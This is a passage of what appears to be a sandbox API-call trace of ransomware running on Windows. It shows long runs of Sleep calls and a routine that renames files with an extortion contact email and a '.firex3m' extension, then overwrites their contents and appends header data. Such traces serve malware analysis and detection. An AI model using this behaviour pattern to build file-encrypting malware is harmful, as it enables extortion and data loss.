lpBuffer=0x7598e88, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7598e88*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 71 os_tid = 0x12cc [0067.528] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.277] Sleep (dwMilliseconds=0x1) [0068.401] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.875] Sleep (dwMilliseconds=0x1) [0071.563] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.410] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.804] Sleep (dwMilliseconds=0x1) [0072.938] Sleep (dwMilliseconds=0x1) [0073.100] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.976] Sleep (dwMilliseconds=0x1) [0074.060] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.381] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.772] Sleep (dwMilliseconds=0x1) [0074.848] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.161] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.359] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.510] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.608] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.984] Sleep (dwMilliseconds=0x1) [0077.069] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.287] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.411] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.737] Sleep (dwMilliseconds=0x1) [0077.781] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.964] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.001] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.238] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.536] Sleep (dwMilliseconds=0x1) [0078.557] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.642] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.721] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.754] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.894] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.945] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.978] Sleep (dwMilliseconds=0x1) [0079.003] Sleep (dwMilliseconds=0x1) [0079.031] Sleep (dwMilliseconds=0x1) [0079.050] Sleep (dwMilliseconds=0x1) [0079.079] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.116] Sleep (dwMilliseconds=0x1) [0079.130] Sleep (dwMilliseconds=0x1) [0079.159] Sleep (dwMilliseconds=0x1) [0079.225] Sleep (dwMilliseconds=0x1) [0079.250] Sleep (dwMilliseconds=0x1) [0079.270] Sleep (dwMilliseconds=0x1) [0079.286] Sleep (dwMilliseconds=0x1) [0079.301] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.347] Sleep (dwMilliseconds=0x1) [0079.362] Sleep (dwMilliseconds=0x1) [0079.377] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.424] Sleep (dwMilliseconds=0x1) [0079.446] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.542] Sleep (dwMilliseconds=0x1) [0079.547] Sleep (dwMilliseconds=0x1) [0079.600] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.628] Sleep (dwMilliseconds=0x1) [0079.643] Sleep (dwMilliseconds=0x1) [0079.660] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.730] Sleep (dwMilliseconds=0x1) [0079.744] Sleep (dwMilliseconds=0x1) [0079.800] Sleep (dwMilliseconds=0x1) [0079.816] Sleep (dwMilliseconds=0x1) [0079.830] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.915] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.986] Sleep (dwMilliseconds=0x1) [0080.048] Sleep (dwMilliseconds=0x1) [0080.070] Sleep (dwMilliseconds=0x1) [0080.084] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.160] Sleep (dwMilliseconds=0x1) [0080.173] Sleep (dwMilliseconds=0x1) [0080.237] Sleep (dwMilliseconds=0x1) [0080.260] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.301] Sleep (dwMilliseconds=0x1) [0080.316] Sleep (dwMilliseconds=0x1) [0080.343] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.384] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.441] Sleep (dwMilliseconds=0x1) [0080.503] Sleep (dwMilliseconds=0x1) [0080.526] Sleep (dwMilliseconds=0x1) [0080.547] Sleep (dwMilliseconds=0x1) [0080.567] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.605] Sleep (dwMilliseconds=0x1) [0080.614] Sleep (dwMilliseconds=0x1) [0080.660] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.703] Sleep (dwMilliseconds=0x1) [0080.723] Sleep (dwMilliseconds=0x1) [0080.765] Sleep (dwMilliseconds=0x1) [0080.788] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.888] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.943] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.988] Sleep (dwMilliseconds=0x1) [0081.006] Sleep (dwMilliseconds=0x1) [0081.016] Sleep (dwMilliseconds=0x1) [0081.039] Sleep (dwMilliseconds=0x1) [0081.047] Sleep (dwMilliseconds=0x1) [0081.288] Sleep (dwMilliseconds=0x1) [0081.437] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.565] Sleep (dwMilliseconds=0x1) [0081.581] Sleep (dwMilliseconds=0x1) [0081.600] Sleep (dwMilliseconds=0x1) [0081.612] Sleep (dwMilliseconds=0x1) [0081.629] Sleep (dwMilliseconds=0x1) [0081.664] Sleep (dwMilliseconds=0x1) [0081.683] Sleep (dwMilliseconds=0x1) [0081.691] Sleep (dwMilliseconds=0x1) [0081.710] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.776] Sleep (dwMilliseconds=0x1) [0081.788] Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.892] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.134] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.216] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.178] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.466] Sleep (dwMilliseconds=0x1) [0089.110] Sleep (dwMilliseconds=0x1) [0090.317] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\588bce7c90097ed212\\1045\\eula.rtf", len=0x23 | out: pbstr=0x5afff7c*="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 1 [0090.317] GetProcessHeap () returned 0x630000 [0090.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x10) returned 0x6b11f0 [0090.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0090.318] CloseHandle (hObject=0x6b0) returned 1 [0090.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0090.318] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0090.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.319] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0090.319] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0090.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0090.319] GetProcessHeap () returned 0x630000 [0090.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x72ddc8 [0090.319] GetProcessHeap () returned 0x630000 [0090.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x727d80 [0090.319] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.319] ReadFile (in: hFile=0x6b0, lpBuffer=0x72ddc8, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ddc8*, lpNumberOfBytesRead=0x5afff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0090.431] GetProcessHeap () returned 0x630000 [0090.431] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0090.431] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.431] WriteFile (in: hFile=0x6b0, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x5afff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0090.431] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.431] WriteFile (in: hFile=0x6b0, lpBuffer=0x728d3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x728d3f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.432] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.432] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.432] CloseHandle (hObject=0x6b0) returned 1 [0090.433] GetProcessHeap () returned 0x630000 [0090.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0090.433] GetProcessHeap () returned 0x630000 [0090.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ddc8 | out: hHeap=0x630000) returned 1 [0090.433] GetProcessHeap () returned 0x630000 [0090.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0090.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.433] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfbdaa37d, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xfec, dwReserved0=0xa807496, dwReserved1=0x72ddc0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0090.433] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0090.433] Sleep (dwMilliseconds=0x1) [0090.450] Sleep (dwMilliseconds=0x1) [0090.463] Sleep (dwMilliseconds=0x1) [0090.478] Sleep (dwMilliseconds=0x1) [0090.494] Sleep (dwMilliseconds=0x1) [0090.510] Sleep (dwMilliseconds=0x1) [0090.525] Sleep (dwMilliseconds=0x1) [0090.541] Sleep (dwMilliseconds=0x1) [0090.556] Sleep (dwMilliseconds=0x1) [0090.572] Sleep (dwMilliseconds=0x1) [0090.713] Sleep (dwMilliseconds=0x1) [0090.729] Sleep (dwMilliseconds=0x1) [0090.752] Sleep (dwMilliseconds=0x1) [0090.760] Sleep (dwMilliseconds=0x1) [0090.777] Sleep (dwMilliseconds=0x1) [0090.791] Sleep (dwMilliseconds=0x1) [0090.807] Sleep (dwMilliseconds=0x1) [0090.823] Sleep (dwMilliseconds=0x1) [0090.838] Sleep (dwMilliseconds=0x1) [0090.854] Sleep (dwMilliseconds=0x1) [0090.869] Sleep (dwMilliseconds=0x1) [0090.885] Sleep (dwMilliseconds=0x1) [0090.900] Sleep (dwMilliseconds=0x1) [0090.916] Sleep (dwMilliseconds=0x1) [0090.932] Sleep (dwMilliseconds=0x1) [0090.947] Sleep (dwMilliseconds=0x1) [0090.963] Sleep (dwMilliseconds=0x1) [0090.979] Sleep (dwMilliseconds=0x1) [0090.994] Sleep (dwMilliseconds=0x1) [0091.013] Sleep (dwMilliseconds=0x1) [0092.151] Sleep (dwMilliseconds=0x1) [0094.012] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", len=0x27 | out: pbstr=0x5afff7c*="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 1 [0094.012] GetProcessHeap () returned 0x630000 [0094.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x24) returned 0x699a98 [0094.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0094.013] CloseHandle (hObject=0x704) returned 1 [0094.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0094.013] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0094.015] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0094.015] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UIINFO~1.FIR")) returned 0x6d51c0 [0094.015] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0094.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0094.015] GetProcessHeap () returned 0x630000 [0094.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x98a1) returned 0x6f526d8 [0094.015] GetProcessHeap () returned 0x630000 [0094.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x98a1) returned 0x6f5bf88 [0094.015] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.016] ReadFile (in: hFile=0x704, lpBuffer=0x6f526d8, nNumberOfBytesToRead=0x9880, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f526d8*, lpNumberOfBytesRead=0x5afff0c*=0x9880, lpOverlapped=0x0) returned 1 [0099.627] GetProcessHeap () returned 0x630000 [0099.627] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0099.628] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.628] WriteFile (in: hFile=0x704, lpBuffer=0x6f5bf88*, nNumberOfBytesToWrite=0x9880, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5bf88*, lpNumberOfBytesWritten=0x5afff0c*=0x9880, lpOverlapped=0x0) returned 1 [0099.628] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.628] WriteFile (in: hFile=0x704, lpBuffer=0x6f65807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f65807*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0099.628] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.628] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, 